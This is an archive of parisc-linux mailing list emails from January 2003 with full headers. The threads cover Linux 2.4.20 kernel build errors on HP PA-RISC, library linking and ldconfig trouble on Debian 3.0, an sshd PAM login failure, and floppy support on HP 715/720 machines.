-D__linux__ -pipe -fno-strength-reduce -mno-space-regs
-mfast-indirect-calls -mdisable-fpregs -ffunction-sections -march=1.1
-mschedule=7200   -nostdinc -iwithprefix include
-DKBUILD_BASENAME=scsi_merge  -c -o scsi_merge.o scsi_merge.c
scsi_merge.c: In function `__count_segments':
scsi_merge.c:226: warning: implicit declaration of function `page_to_phys'
scsi_merge.c: In function `initialize_merge_fn':
scsi_merge.c:1199: `PCI_DMA_BUS_IS_PHYS' undeclared (first use in this
function)scsi_merge.c:1199: (Each undeclared identifier is reported only
once
scsi_merge.c:1199: for each function it appears in.)
make[3]: *** [scsi_merge.o] Error 1
make[3]: Leaving directory `/usr/src/linux-2.4.20/drivers/scsi'
make[2]: *** [first_rule] Error 2
make[2]: Leaving directory `/usr/src/linux-2.4.20/drivers/scsi'
make[1]: *** [_subdir_scsi] Error 2
make[1]: Leaving directory `/usr/src/linux-2.4.20/drivers'
make: *** [_dir_drivers] Error 2

What I did first to fix it was add:
#ifndef PCI_DMA_BUS_IS_PHYS
#define PCI_DMA_BUS_IS_PHYS 1
#endif

I asked the linux-scsi list if that was the proper fix and promptly got
yelled at.  I was told the problem was that asm/pci.h was not included and
that was the fix I should use.  Even though the defines would work...

So I reverted the code back and added the include, now I get the original
error and nothing seems to be resolved.

After adding my defines back I still get errors, just much farther along:
trigraphs -O2 -fno-strict-aliasing -fno-common -fomit-frame-pointer
-D__linux__ -pipe -fno-strength-reduce -mno-space-regs
-mfast-indirect-calls -mdisable-fpregs -ffunction-sections -march=1.1
-mschedule=7200   -nostdinc -iwithprefix include -DKBUILD_BASENAME=traps
-c -o traps.o traps.c
traps.c:125: conflicting types for `dump_stack'
/usr/src/linux-2.4.20/include/linux/kernel.h:111: previous declaration of
`dump_stack'
make[1]: *** [traps.o] Error 1
make[1]: Leaving directory `/usr/src/linux-2.4.20/arch/parisc/kernel'
make: *** [_dir_arch/parisc/kernel] Error 2

Um, help?




From - Thu Nov 08 21:26:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sir Ace <chandler@nateng.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ldconfig problems
Date: Wed, 22 Jan 2003 17:34:35 -0800 (PST)
Lines: 87
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0301221734281.21999-100000@jordan.eng.nateng.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622136 20446 80.91.229.3 (22 Nov 2014 02:08:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:56 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 22 18:31:24 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.nateng.com (user-vc8fdp3.biz.mindspring.com [216.135.183.35])
	by dsl2.external.hp.com (Postfix) with ESMTP id 95DDE4829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 22 Jan 2003 18:31:23 -0700 (MST)
Original-Received: from jordan.eng.nateng.com (jordan.eng.nateng.com [172.16.100.200])
	by mail.nateng.com (8.11.2/8.11.2) with ESMTP id h0N1iDT27435
	for <parisc-linux@lists.parisc-linux.org>; Wed, 22 Jan 2003 17:44:13 -0800
X-RAV-AntiVirus: This e-mail has been scanned for viruses on host: mail.nateng.com
Original-Received: from localhost (chandler@localhost)
	by jordan.eng.nateng.com (8.11.4/8.11.4) with ESMTP id h0N1Ya723842
	for <parisc-linux@lists.parisc-linux.org>; Wed, 22 Jan 2003 17:34:36 -0800
X-Authentication-Warning: jordan.eng.nateng.com: chandler owned process doing -bs
X-X-Sender: <chandler@jordan.eng.nateng.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17464

I am having issues with the libraries from the 'out-of-box' debian 3.0 for
parisc...

-------------------------------------------------------------------------
/tmp/ccywfbmB.o(.eh_frame+0x11): undefined reference to
`__gxx_personality_v0'
collect2: ld returned 1 exit status

-------------------------------------------------------------------------

make[1]: Entering directory `/usr/src/linux-2.4.20/scripts/lxdialog'
/usr/bin/ld: cannot find -lncurses
collect2: ld returned 1 exit status

>> Unable to find the Ncurses libraries.
>>
>> You must have Ncurses installed in order
>> to use 'make menuconfig'

make[1]: *** [ncurses] Error 1
make[1]: Leaving directory `/usr/src/linux-2.4.20/scripts/lxdialog'
make: *** [menuconfig] Error 2

-------------------------------------------------------------------------

HPTux:/usr/src/linux-2.4.20# cat /etc/ld.so.conf
/usr/X11R6/lib
/usr/lib
/lib
/var/lib

-------------------------------------------------------------------------

HPTux:/usr/src/linux-2.4.20# locate libstdc++
/usr/doc/libstdc++3
/usr/doc/libstdc++3-dev
/usr/lib/gcc-lib/hppa-linux/3.0.4/libstdc++.a
/usr/lib/gcc-lib/hppa-linux/3.0.4/libstdc++.so
/usr/lib/libstdc++.so
/usr/lib/libstdc++.so.3
/usr/lib/libstdc++.so.3.0.4
/usr/share/doc/libstdc++3
/usr/share/doc/libstdc++3-dev
/usr/share/doc/libstdc++3/changelog.Debian.gz
/usr/share/doc/libstdc++3/changelog.gz
/usr/share/doc/libstdc++3/copyright
/usr/share/doc/libstdc++3/README.Debian
/var/lib/dpkg/info/libstdc++3-dev.list
/var/lib/dpkg/info/libstdc++3-dev.md5sums
/var/lib/dpkg/info/libstdc++3-dev.postinst
/var/lib/dpkg/info/libstdc++3-dev.prerm
/var/lib/dpkg/info/libstdc++3.list
/var/lib/dpkg/info/libstdc++3.md5sums
/var/lib/dpkg/info/libstdc++3.postinst
/var/lib/dpkg/info/libstdc++3.postrm
/var/lib/dpkg/info/libstdc++3.prerm
/var/lib/dpkg/info/libstdc++3.shlibs

-------------------------------------------------------------------------

HPTux:/usr/src/linux-2.4.20# locate libncur
/lib/libncurses.so.5
/lib/libncurses.so.5.2
/usr/doc/libncurses5
/usr/share/doc/libncurses5
/usr/share/doc/libncurses5/changelog.Debian.gz
/usr/share/doc/libncurses5/changelog.gz
/usr/share/doc/libncurses5/copyright
/usr/share/doc/libncurses5/FAQ
/usr/share/doc/libncurses5/README.Debian
/var/lib/dpkg/info/libncurses5.list
/var/lib/dpkg/info/libncurses5.postinst
/var/lib/dpkg/info/libncurses5.postrm
/var/lib/dpkg/info/libncurses5.prerm
/var/lib/dpkg/info/libncurses5.shlibs

-------------------------------------------------------------------------

Ok, so I blew away /etc/ld.so.cache
ran ldconfig
and have the same problems

What gives?





From - Thu Nov 08 21:26:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel 2.4.20 help?
Date: Wed, 22 Jan 2003 17:30:58 -0800
Lines: 16
Approved: news@gmane.org
Message-ID: <20030123013058.GD11363@tausq.org>
References: <Pine.LNX.4.33.0301221718210.21999-100000@jordan.eng.nateng.com>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622137 20449 80.91.229.3 (22 Nov 2014 02:08:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:57 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Sir Ace <chandler@nateng.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 22 18:32:51 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9ECB94829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 22 Jan 2003 18:32:51 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 6CA5ECDA56; Wed, 22 Jan 2003 17:30:58 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.33.0301221718210.21999-100000@jordan.eng.nateng.com>
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17465

In reference to a message from Sir Ace, dated Jan 22:
> 
> I've been playing with the 2.4.20 on my box {debian 3.0 parisc}
> I've found a few problems, tried a couple of fixes and got chewed out by a
> kernel deveolper so I saw you mentioned on the debian site and thought I
> should ask you.

where did you get your kernel tree? you need to use a tree downloaded
from parisc-linux.org, instead of an "official" linux tree, 

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:26:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sir Ace <chandler@nateng.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel 2.4.20 help?
Date: Wed, 22 Jan 2003 17:44:31 -0800 (PST)
Lines: 21
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0301221741440.21999-100000@jordan.eng.nateng.com>
References: <20030123013058.GD11363@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622137 20452 80.91.229.3 (22 Nov 2014 02:08:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:57 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 22 18:41:23 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.nateng.com (user-vc8fdp3.biz.mindspring.com [216.135.183.35])
	by dsl2.external.hp.com (Postfix) with ESMTP id D52114829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 22 Jan 2003 18:41:22 -0700 (MST)
Original-Received: from jordan.eng.nateng.com (jordan.eng.nateng.com [172.16.100.200])
	by mail.nateng.com (8.11.2/8.11.2) with ESMTP id h0N1s9T27674;
	Wed, 22 Jan 2003 17:54:09 -0800
X-RAV-AntiVirus: This e-mail has been scanned for viruses on host: mail.nateng.com
Original-Received: from localhost (chandler@localhost)
	by jordan.eng.nateng.com (8.11.4/8.11.4) with ESMTP id h0N1iWc23865;
	Wed, 22 Jan 2003 17:44:32 -0800
X-Authentication-Warning: jordan.eng.nateng.com: chandler owned process doing -bs
X-X-Sender: <chandler@jordan.eng.nateng.com>
In-Reply-To: <20030123013058.GD11363@tausq.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17466

I'm using Linus's Tree/Marcelo's Tree 2.4

How much difference is there between the custom one on hppa-linux.org, and
2.4.20?

On Wed, 22 Jan 2003, Randolph Chung wrote:

> In reference to a message from Sir Ace, dated Jan 22:
> >
> > I've been playing with the 2.4.20 on my box {debian 3.0 parisc}
> > I've found a few problems, tried a couple of fixes and got chewed out by a
> > kernel deveolper so I saw you mentioned on the debian site and thought I
> > should ask you.
>
> where did you get your kernel tree? you need to use a tree downloaded
> from parisc-linux.org, instead of an "official" linux tree,
>
> randolph
>



From - Thu Nov 08 21:26:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel 2.4.20 help?
Date: Wed, 22 Jan 2003 18:47:43 -0800
Lines: 11
Approved: news@gmane.org
Message-ID: <20030123024743.GE11363@tausq.org>
References: <20030123013058.GD11363@tausq.org> <Pine.LNX.4.33.0301221741440.21999-100000@jordan.eng.nateng.com>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622137 20462 80.91.229.3 (22 Nov 2014 02:08:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:57 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Sir Ace <chandler@nateng.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 22 19:50:17 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id DDF564829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 22 Jan 2003 19:50:16 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 37FF9CDA56; Wed, 22 Jan 2003 18:47:43 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.33.0301221741440.21999-100000@jordan.eng.nateng.com>
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17467

> How much difference is there between the custom one on hppa-linux.org, and
> 2.4.20?

Go to http://ftp.parisc-linux.org/cvs/ and look at the patch-* files.

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:26:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ldconfig problems
Date: Thu, 23 Jan 2003 09:20:14 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <200301230920.14321.deller@gmx.de>
References: <Pine.LNX.4.33.0301221734281.21999-100000@jordan.eng.nateng.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622138 20465 80.91.229.3 (22 Nov 2014 02:08:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:58 +0000 (UTC)
To: Sir Ace <chandler@nateng.com>,
	<parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan 23 01:22:44 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.65.60])
	by dsl2.external.hp.com (Postfix) with SMTP id DE00D4829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 23 Jan 2003 01:22:43 -0700 (MST)
Original-Received: (qmail 17559 invoked by uid 0); 23 Jan 2003 08:22:42 -0000
Original-Received: from pD904031C.dip.t-dialin.net (HELO P100.helgenet.de) (217.4.3.28)
  by mail.gmx.net (mp003-rz3) with SMTP; 23 Jan 2003 08:22:42 -0000
User-Agent: KMail/1.5.9
In-Reply-To: <Pine.LNX.4.33.0301221734281.21999-100000@jordan.eng.nateng.com>
Content-Disposition: inline
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17468

On Thursday 23 January 2003 02:34, Sir Ace wrote:
> I am having issues with the libraries from the 'out-of-box' debian 3.0 for
> parisc...
>
> -------------------------------------------------------------------------
> /tmp/ccywfbmB.o(.eh_frame+0x11): undefined reference to
> `__gxx_personality_v0'
> collect2: ld returned 1 exit status


Link your c++ object files with g++, not with ld.

Helge


From - Thu Nov 08 21:26:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Dimitris Zilaskos <dzila@tassadar.physics.auth.gr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] unable to login with ssh , privsep and tcp wrappers
Date: Thu, 23 Jan 2003 15:51:15 +0200 (EET)
Lines: 47
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0301231543010.7183-100000@tassadar.physics.auth.gr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622138 20468 80.91.229.3 (22 Nov 2014 02:08:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:58 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan 23 06:51:26 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from tassadar.physics.auth.gr (tassadar.physics.auth.gr [155.207.123.25])
	by dsl2.external.hp.com (Postfix) with ESMTP id 410084829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 23 Jan 2003 06:51:23 -0700 (MST)
Original-Received: from localhost (dzila@localhost)
	by tassadar.physics.auth.gr (8.11.6/8.11.6) with ESMTP id h0NDpFI07327
	for <parisc-linux@lists.parisc-linux.org>; Thu, 23 Jan 2003 15:51:16 +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17469


 	Hello


I am running debian/unstable on a couple of 715/33 boxes . I use
dist-update once a week . Sometime the last 2-3 months after an apt-get i
was unable to login to  the system vi ssh . The authentication was
successfull but the connection was closed immediately after. The log in
the parisc box was :

Jan 23 15:41:28 system sshd[3582]: Accepted publickey for foo from
1.2.3.4 port 55740 ssh2
Jan 23 15:41:28 system ssh(pam_unix)[3584]: session opened for user foo
by (uid=1000)
Jan 23 15:41:28 system pam_limits[3584]: setrlimit limit #3 to
soft=8388608, hard=-1 failed: Operation not permitted; uid=1000 euid=1000
Jan 23 15:41:28 system pam_limits[3584]: setrlimit limit #7 to soft=-1,
hard=-1 failed: Operation not permitted; uid=1000 euid=1000
Jan 23 15:41:28 system sshd[3584]: fatal: PAM session setup failed[6]:
Permission denied


 I first got around the problem by disabling privilage separation in
sshd_conf . PAM was always disabled there . Today I just realized that the
problem  goes way too if I remove all the entries I have in
/etc/hosts.allow . I can then enable PrivSep again .
	I dont see the same behaviour in an Debian 3.0 i386 box , but they
seem to have quiet different pam .

	Is this a feature or a bug ?


 Best regards ,

 --
=============================================================================

Dimitris Zilaskos

Department of Physics @ Aristotle Univercity of Thessaloniki , Greece
PGP key : http://tassadar.physics.auth.gr/~dzila/pgp_public_key.asc
          http://egnatia.ee.auth.gr/~dzila/pgp_public_key.asc
MD5sum  : 4f84f3f53cb046008b4abcb2a092d28d  pgp_public_key.asc
=============================================================================




From - Thu Nov 08 21:26:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jochen Friedrich <jochen@scram.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] floppy images
Date: Thu, 23 Jan 2003 14:56:54 +0100 (CET)
Lines: 10
Approved: news@gmane.org
Message-ID: <Pine.NEB.4.44.0301231456210.18812-100000@www2.scram.de>
References: <20030121172820.GB26882@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622138 20471 80.91.229.3 (22 Nov 2014 02:08:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:58 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan 23 06:57:00 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.scram.de (mail.scram.de [195.226.127.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id 937DF4829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 23 Jan 2003 06:56:59 -0700 (MST)
Original-Received: from www2.scram.de (www2.scram.de [195.226.127.84])
	by mail.scram.de (8.11.6+3.4W/8.11.0) with ESMTP id h0NDutA09355;
	Thu, 23 Jan 2003 14:56:55 +0100 (CET)
In-Reply-To: <20030121172820.GB26882@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17470

Hi Grant,

> and HP couldn't published anything for floppy controller because of
> litigation at the time the parisc-linux work was being funded. :^(

Don't 715 / 720 just have SCSI floppies?

--jochen



From - Thu Nov 08 21:26:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?iso-8859-1?Q?=22Beerse=2C_Corn=E9=22?= <c.beerse@torex-hiscom.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] floppy images
Date: Thu, 23 Jan 2003 15:02:56 +0100
Lines: 74
Approved: news@gmane.org
Message-ID: <03Jan23.151727cet.119099@ns.hiscom.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C2C2E8.21248D40"
X-Trace: ger.gmane.org 1416622138 20473 80.91.229.3 (22 Nov 2014 02:08:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:58 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "'Jochen Friedrich'" <jochen@scram.de>,
	Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan 23 07:03:12 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiscom.nl (unknown [130.78.143.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id 48EE24829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 23 Jan 2003 07:03:11 -0700 (MST)
Original-Received: by ns.hiscom.nl id <119099>; Thu, 23 Jan 2003 15:17:27 +0100
X-Mailer: Internet Mail Service (5.5.2656.59)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17471

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C2C2E8.21248D40
Content-Type: text/plain;
	charset="iso-8859-1"

> -----Original Message-----
> From: Jochen Friedrich [mailto:jochen@scram.de]
> 
> Hi Grant,
> 
> > and HP couldn't published anything for floppy controller because of
> > litigation at the time the parisc-linux work was being funded. :^(
> 
> Don't 715 / 720 just have SCSI floppies?

If they have, they should be available for all other machines: the driver is
in the os, the scsi is most (all) systems.

